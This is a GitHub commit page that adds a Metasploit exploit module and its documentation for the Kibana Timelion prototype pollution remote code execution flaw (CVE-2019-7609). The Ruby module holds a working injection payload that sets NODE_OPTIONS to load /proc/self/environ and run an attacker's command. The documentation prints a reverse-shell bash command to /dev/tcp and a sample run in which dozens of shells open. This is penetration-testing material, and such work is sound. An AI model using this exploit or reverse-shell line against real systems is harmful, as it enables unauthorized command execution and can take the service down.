forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#18316, Kibana Timelion Prototype Pollution RCE (CVE-2019-…
- Loading branch information
Showing
2 changed files
with
301 additions
and
0 deletions.
There are no files selected for viewing
104 changes: 104 additions & 0 deletions
104
...mentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
## Vulnerable Application | ||
|
||
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. | ||
An attacker with access to the Timelion application could send a request that will attempt to execute | ||
javascript code. This leads to an arbitrary command execution with permissions of the | ||
Kibana process on the host system. | ||
|
||
Tested against kibana 6.5.4, yielding between 43-53 shells. | ||
|
||
### Install | ||
|
||
Use the [docker-compose.yml](https://github.com/mpgn/CVE-2019-7609/issues/1) but also note the comment | ||
about needing `6.5.4`. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use use exploit/linux/http/kibana_timelion_prototype_pollution_rce` | ||
1. Do: `set rhost [ip]` | ||
1. Do: `set lhost [ip]` | ||
1. Do: `run` | ||
1. You should get a shell as the kibana user. | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Kibana 6.5.4 on Docker | ||
|
||
``` | ||
msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce | ||
[*] Using configured payload cmd/unix/reverse_bash | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 | ||
lhost => 111.111.1.111 | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit | ||
[+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78' | ||
[*] Started reverse TCP handler on 111.111.1.111:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4 | ||
[*] Polluting Prototype in Timelion | ||
[*] Grabbing XSRF Token | ||
[*] Trigginger payload execution via canvas socket | ||
[*] Waiting for shells | ||
[*] Command shell session 1 opened (111.111.1.111:4444 -> 172.19.0.3:34480) at 2023-08-24 15:14:03 -0400 | ||
[*] Command shell session 2 opened (111.111.1.111:4444 -> 172.19.0.3:34486) at 2023-08-24 15:14:03 -0400 | ||
[*] Command shell session 3 opened (111.111.1.111:4444 -> 172.19.0.3:34498) at 2023-08-24 15:14:03 -0400 | ||
[*] Unsetting to stop raining shells from a lacerated kibana | ||
[*] Command shell session 4 opened (111.111.1.111:4444 -> 172.19.0.3:34512) at 2023-08-24 15:14:08 -0400 | ||
[*] Command shell session 8 opened (111.111.1.111:4444 -> 172.19.0.3:34548) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 6 opened (111.111.1.111:4444 -> 172.19.0.3:34530) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 7 opened (111.111.1.111:4444 -> 172.19.0.3:34546) at 2023-08-24 15:14:09 -0400 | ||
[*] Command shell session 10 opened (111.111.1.111:4444 -> 172.19.0.3:34556) at 2023-08-24 15:14:14 -0400 | ||
[*] Command shell session 13 opened (111.111.1.111:4444 -> 172.19.0.3:34566) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 12 opened (111.111.1.111:4444 -> 172.19.0.3:34562) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 11 opened (111.111.1.111:4444 -> 172.19.0.3:34560) at 2023-08-24 15:14:15 -0400 | ||
[*] Command shell session 14 opened (111.111.1.111:4444 -> 172.19.0.3:34576) at 2023-08-24 15:14:21 -0400 | ||
[*] Command shell session 15 opened (111.111.1.111:4444 -> 172.19.0.3:34592) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 17 opened (111.111.1.111:4444 -> 172.19.0.3:34612) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 16 opened (111.111.1.111:4444 -> 172.19.0.3:34602) at 2023-08-24 15:14:22 -0400 | ||
[*] Command shell session 18 opened (111.111.1.111:4444 -> 172.19.0.3:34616) at 2023-08-24 15:14:27 -0400 | ||
[*] Command shell session 19 opened (111.111.1.111:4444 -> 172.19.0.3:34624) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 20 opened (111.111.1.111:4444 -> 172.19.0.3:34626) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 21 opened (111.111.1.111:4444 -> 172.19.0.3:34638) at 2023-08-24 15:14:28 -0400 | ||
[*] Command shell session 22 opened (111.111.1.111:4444 -> 172.19.0.3:34642) at 2023-08-24 15:14:33 -0400 | ||
[*] Command shell session 25 opened (111.111.1.111:4444 -> 172.19.0.3:34676) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 24 opened (111.111.1.111:4444 -> 172.19.0.3:34662) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 23 opened (111.111.1.111:4444 -> 172.19.0.3:34652) at 2023-08-24 15:14:35 -0400 | ||
[*] Command shell session 9 opened (111.111.1.111:4444 -> 172.19.0.3:34550) at 2023-08-24 15:14:39 -0400 | ||
[*] Command shell session 26 opened (111.111.1.111:4444 -> 172.19.0.3:34692) at 2023-08-24 15:14:40 -0400 | ||
[*] Command shell session 28 opened (111.111.1.111:4444 -> 172.19.0.3:34720) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 29 opened (111.111.1.111:4444 -> 172.19.0.3:34736) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 27 opened (111.111.1.111:4444 -> 172.19.0.3:34704) at 2023-08-24 15:14:41 -0400 | ||
[*] Command shell session 31 opened (111.111.1.111:4444 -> 172.19.0.3:34758) at 2023-08-24 15:14:46 -0400 | ||
[*] Command shell session 32 opened (111.111.1.111:4444 -> 172.19.0.3:34762) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 33 opened (111.111.1.111:4444 -> 172.19.0.3:34772) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 34 opened (111.111.1.111:4444 -> 172.19.0.3:34788) at 2023-08-24 15:14:47 -0400 | ||
[*] Command shell session 35 opened (111.111.1.111:4444 -> 172.19.0.3:34800) at 2023-08-24 15:14:52 -0400 | ||
[*] Command shell session 38 opened (111.111.1.111:4444 -> 172.19.0.3:34828) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 36 opened (111.111.1.111:4444 -> 172.19.0.3:34804) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 37 opened (111.111.1.111:4444 -> 172.19.0.3:34818) at 2023-08-24 15:14:54 -0400 | ||
[*] Command shell session 39 opened (111.111.1.111:4444 -> 172.19.0.3:34838) at 2023-08-24 15:14:58 -0400 | ||
[*] Command shell session 42 opened (111.111.1.111:4444 -> 172.19.0.3:34868) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 41 opened (111.111.1.111:4444 -> 172.19.0.3:34860) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 40 opened (111.111.1.111:4444 -> 172.19.0.3:34850) at 2023-08-24 15:15:00 -0400 | ||
[*] Command shell session 43 opened (111.111.1.111:4444 -> 172.19.0.3:34870) at 2023-08-24 15:15:05 -0400 | ||
[*] Command shell session 45 opened (111.111.1.111:4444 -> 172.19.0.3:34890) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 44 opened (111.111.1.111:4444 -> 172.19.0.3:34886) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 46 opened (111.111.1.111:4444 -> 172.19.0.3:34898) at 2023-08-24 15:15:06 -0400 | ||
[*] Command shell session 30 opened (111.111.1.111:4444 -> 172.19.0.3:34742) at 2023-08-24 15:15:10 -0400 | ||
[*] Command shell session 47 opened (111.111.1.111:4444 -> 172.19.0.3:34910) at 2023-08-24 15:15:11 -0400 | ||
[*] Command shell session 48 opened (111.111.1.111:4444 -> 172.19.0.3:34914) at 2023-08-24 15:15:13 -0400 | ||
id | ||
uid=1000(kibana) gid=1000(kibana) groups=1000(kibana) | ||
uname -a | ||
Linux 452752fde1a8 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux | ||
``` |
197 changes: 197 additions & 0 deletions
197
modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,197 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ManualRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Kibana Timelion Prototype Pollution RCE', | ||
'Description' => %q{ | ||
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. | ||
An attacker with access to the Timelion application could send a request that will attempt to execute | ||
javascript code. This leads to an arbitrary command execution with permissions of the | ||
Kibana process on the host system. | ||
Exploitation will require a service or system reboot to restore normal operation. | ||
The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells | ||
(50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a | ||
docker image caused 6 shells. | ||
Tested against kibana 6.5.4. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Michał Bentkowski', # original PoC, analysis | ||
'Gaetan Ferry' # more analysis | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'], | ||
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'], | ||
[ 'CVE', '2019-7609'] | ||
], | ||
'Platform' => ['unix'], | ||
'Privileged' => false, | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DisclosureDate' => '2019-10-30', | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/reverse_bash', | ||
'WfsDelay' => 10 # can take a minute to run | ||
}, | ||
'Notes' => { | ||
# the webserver doesn't die, but certain requests no longer respond before a timeout | ||
# when things go poorly | ||
'Stability' => [CRASH_SERVICE_DOWN], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(5601), | ||
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), | ||
'method' => 'GET', | ||
'keep_cookies' => true | ||
) | ||
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? | ||
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
# this pulls a big JSON blob that we need as it has the version | ||
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body | ||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") | ||
end | ||
|
||
version_json = CGI.unescapeHTML(Regexp.last_match(1)) | ||
|
||
begin | ||
json_body = JSON.parse(version_json) | ||
rescue JSON::ParserError | ||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") | ||
end | ||
|
||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? | ||
|
||
@version = json_body['version'] | ||
|
||
if Rex::Version.new(@version) < Rex::Version.new('5.6.15') || | ||
( | ||
Rex::Version.new(@version) < Rex::Version.new('6.6.1') && | ||
Rex::Version.new(@version) >= Rex::Version.new('6.0.0') | ||
) | ||
return CheckCode::Appears("Exploitable Version Detected: #{@version}") | ||
end | ||
|
||
CheckCode::Safe("Unexploitable Version Detected: #{@version}") | ||
end | ||
|
||
def get_xsrf | ||
vprint_status('Grabbing XSRF Token') | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'), | ||
'keep_cookies' => true | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
|
||
return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body | ||
|
||
nil | ||
end | ||
|
||
def trigger_socket | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required | ||
'keep_cookies' => true, | ||
'headers' => { | ||
'kbn-xsrf' => @xsrf | ||
}, | ||
'vars_get' => { | ||
'EIO' => 3, | ||
'transport' => 'polling' | ||
} | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
end | ||
|
||
def send_injection(reset: false) | ||
if reset | ||
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')" | ||
else | ||
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS | ||
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')| | ||
end | ||
body = { | ||
'sheet' => [pload], | ||
'time' => { | ||
'from' => 'now-15m', | ||
'to' => 'now', | ||
'mode' => 'quick', | ||
'interval' => 'auto', | ||
'timezone' => 'America/New_York' | ||
} | ||
} | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'headers' => { 'kbn-version' => @version }, | ||
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")), | ||
'keep_cookies' => true | ||
) | ||
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 | ||
end | ||
|
||
def exploit | ||
check if @version.nil? | ||
print_status('Polluting Prototype in Timelion') | ||
send_injection | ||
|
||
@xsrf = get_xsrf | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil? | ||
|
||
print_status('Trigginger payload execution via canvas socket') | ||
trigger_socket | ||
print_status('Waiting for shells') | ||
Rex.sleep(datastore['WFSDELAY'] / 10) | ||
unless @reset_done | ||
print_status('Unsetting to stop raining shells from a lacerated kibana') | ||
send_injection(reset: true) | ||
trigger_socket | ||
end | ||
end | ||
|
||
def on_new_session(_client) | ||
return if @reset_done | ||
|
||
print_status('Unsetting to stop raining shells from a lacerated kibana') | ||
send_injection(reset: true) | ||
trigger_socket | ||
@reset_done = true | ||
ensure | ||
super | ||
end | ||
|
||
end |